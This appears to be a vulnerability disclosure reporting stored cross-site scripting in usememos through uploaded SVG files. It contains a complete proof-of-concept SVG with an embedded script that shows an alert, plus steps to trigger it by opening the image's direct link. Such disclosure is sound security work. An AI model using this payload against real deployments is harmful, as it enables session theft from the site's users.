Description

usememos has a feature to upload file and display it. By uploading a crafted SVG files, the users can perform Stored XSS attack with the image direct link.

Copy the following code and save as filename.svg.

Proof of Concept (filename.svg)

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>

1. Login as user
2. create a new post and upload the svg file
3. save the post
4. take the direct link of the image and open it in a new tab
5. see XSS (example link: https://<yoursite>/o/r/8/filename.svg).

if you need more specific information, feel free to contact me.